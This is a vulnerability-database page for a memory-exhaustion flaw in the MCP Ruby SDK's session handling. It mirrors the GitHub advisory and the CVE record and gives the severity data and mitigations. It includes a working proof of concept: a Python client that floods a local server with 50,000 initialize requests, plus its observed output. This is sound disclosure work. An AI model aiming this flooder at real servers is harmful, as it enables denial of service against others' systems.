Vulnerability-Lookup

GHSA-52JP-GJ8W-J6XH

Vulnerability from github – Published: 2026-07-30 14:43 – Updated: 2026-07-30 14:43

Summary

MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood

Details

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (`session_poc_server.rb`)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (`session_poc_client.py`)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:43:29Z",
    "nvd_published_at": "2026-07-29T20:17:11Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`:\n\n- Line 27, constructor: `def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)` \u2014 the default for `session_idle_timeout` is `nil`.\n- Line 46: `start_reaper_thread if @session_idle_timeout` \u2014 when the timeout is `nil`, the reaper that prunes idle sessions is never started.\n- Lines 604\u2013643 (`handle_initialization`): every successful `initialize` inserts a new session record; the only removal sites are `handle_delete` (client-controlled) and stream-error paths.\n\nThe project README acknowledges the insecure default (line 1605):\n\n\u003e By default, sessions do not expire. To mitigate session hijacking risks, you can set a `session_idle_timeout` (in seconds).\n\nPer-session memory cost is non-trivial: each entry contains a `ServerSession` instance (with its own `Mutex`, `@in_flight` hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request `Queue` allocations.\n\n## Proof of concept\n\n### Server (`session_poc_server.rb`)\n\nStarts the transport in its default configuration (no `session_idle_timeout`) and reports the in-memory session count plus process RSS every two seconds.\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"session-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\n\nThread.new do\n  loop do\n    sessions = transport.instance_variable_get(:@sessions)\n    count = sessions ? sessions.size : 0\n    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n    STDERR.puts(\"[mem] sessions=#{count}  RSS=#{rss_mb} MB\")\n    sleep 2\n  end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9295/\")\nRackup::Handler::WEBrick.run(\n  transport,\n  Host: \"127.0.0.1\", Port: 9295,\n  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`session_poc_client.py`)\n\n```python\nimport concurrent.futures, json, socket, time\n\nHOST, PORT = \"127.0.0.1\", 9295\nTOTAL, WORKERS = 50_000, 32\n\nINIT = json.dumps({\n    \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n    \"params\": {\"protocolVersion\": \"2025-11-25\", \"capabilities\": {},\n               \"clientInfo\": {\"name\": \"flooder\", \"version\": \"1.0\"}}\n}).encode()\n\nREQ = (\n    f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n    f\"Content-Type: application/json\\r\\n\"\n    f\"Accept: application/json, text/event-stream\\r\\n\"\n    f\"Content-Length: {len(INIT)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode() + INIT\n\ndef one():\n    try:\n        s = socket.create_connection((HOST, PORT), timeout=5)\n        s.sendall(REQ)\n        data = b\"\"\n        while True:\n            c = s.recv(8192)\n            if not c: break\n            data += c\n        s.close()\n        return b\"mcp-session-id\" in data.lower()\n    except OSError:\n        return False\n\nstart = time.time()\ncreated = 0\nwith concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:\n    futs = [ex.submit(one) for _ in range(TOTAL)]\n    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):\n        if f.result():\n            created += 1\n        if i % 1000 == 0:\n            print(f\"[poc] dispatched {i} reqs, {created} sessions confirmed, \"\n                  f\"elapsed {time.time() - start:.1f}s\")\n\nprint(f\"[poc] done. {created}/{TOTAL} sessions confirmed in \"\n      f\"{time.time() - start:.1f}s\")\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby session_poc_server.rb          # terminal A\npython3 session_poc_client.py       # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4, against the SDK\u0027s `main` branch.\n\nServer terminal:\n\n```\n[mem] sessions=0      RSS=45  MB\n[mem] sessions=2605   RSS=56  MB\n[mem] sessions=11587  RSS=72  MB\n[mem] sessions=23119  RSS=85  MB\n[mem] sessions=34391  RSS=119 MB\n[mem] sessions=45325  RSS=128 MB\n[mem] sessions=50000  RSS=154 MB\n[mem] sessions=50000  RSS=152 MB\n[mem] sessions=50000  RSS=152 MB\n[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely\n```\n\nClient terminal:\n\n```\n[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s\n[poc] done. 50000/50000 sessions confirmed in 26.6s\n```\n\n50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.\n\n\u003cimg width=\"3544\" height=\"1674\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c\" /\u003e\n\n## Impact\n\n- **Attacker requirements:** unauthenticated TCP reach of the MCP endpoint. No session, no credentials.\n- **Effect:** memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.\n- **Affected deployments:** every deployment that does not opt into `session_idle_timeout`. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.\n\n## Suggested mitigation\n\n1. Change the default of `session_idle_timeout` to a finite value (e.g. 30 minutes) and document the change as a security default.\n2. Add a `max_sessions:` constructor option; reject `initialize` with HTTP 503 once the cap is reached.\n3. Track the time of the `initialize` POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.",
  "id": "GHSA-52jp-gj8w-j6xh",
  "modified": "2026-07-30T14:43:29Z",
  "published": "2026-07-30T14:43:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67430"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/afb968c468c178c4d3294b423fcce250621692f4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood"
}

CVE-2026-67430 (GCVE-0-2026-67430)

Vulnerability from cvelistv5 – Published: 2026-07-29 19:10 – Updated: 2026-07-30 15:19

Title

MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood

Summary

MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not expire sessions by default, so repeated initialize requests retain unbounded ServerSession objects and can exhaust process memory. This issue is fixed in version 0.23.0.

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-401 - Missing Release of Memory after Effective Lifetime
CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_CONFIRM
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_MISC
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
modelcontextprotocol	ruby-sdk	Affected: < 0.23.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-67430",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-30T14:16:30.853311Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-30T15:19:09.224Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ruby-sdk",
          "vendor": "modelcontextprotocol",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.23.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem does not expire sessions by default, so repeated initialize requests retain unbounded ServerSession objects and can exhaust process memory. This issue is fixed in version 0.23.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-401",
              "description": "CWE-401: Missing Release of Memory after Effective Lifetime",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-29T19:10:39.552Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh"
        },
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/commit/afb968c468c178c4d3294b423fcce250621692f4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/afb968c468c178c4d3294b423fcce250621692f4"
        },
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
        }
      ],
      "source": {
        "advisory": "GHSA-52jp-gj8w-j6xh",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-67430",
    "datePublished": "2026-07-29T19:10:39.552Z",
    "dateReserved": "2026-07-29T15:07:24.991Z",
    "dateUpdated": "2026-07-30T15:19:09.224Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-52JP-GJ8W-J6XH

Summary

Affected component

Proof of concept

Server (session_poc_server.rb)

Client (session_poc_client.py)

Reproduction commands

Observed result

Impact

Suggested mitigation

CVE-2026-67430 (GCVE-0-2026-67430)

Tags

Sightings

Nomenclature

Server (`session_poc_server.rb`)

Client (`session_poc_client.py`)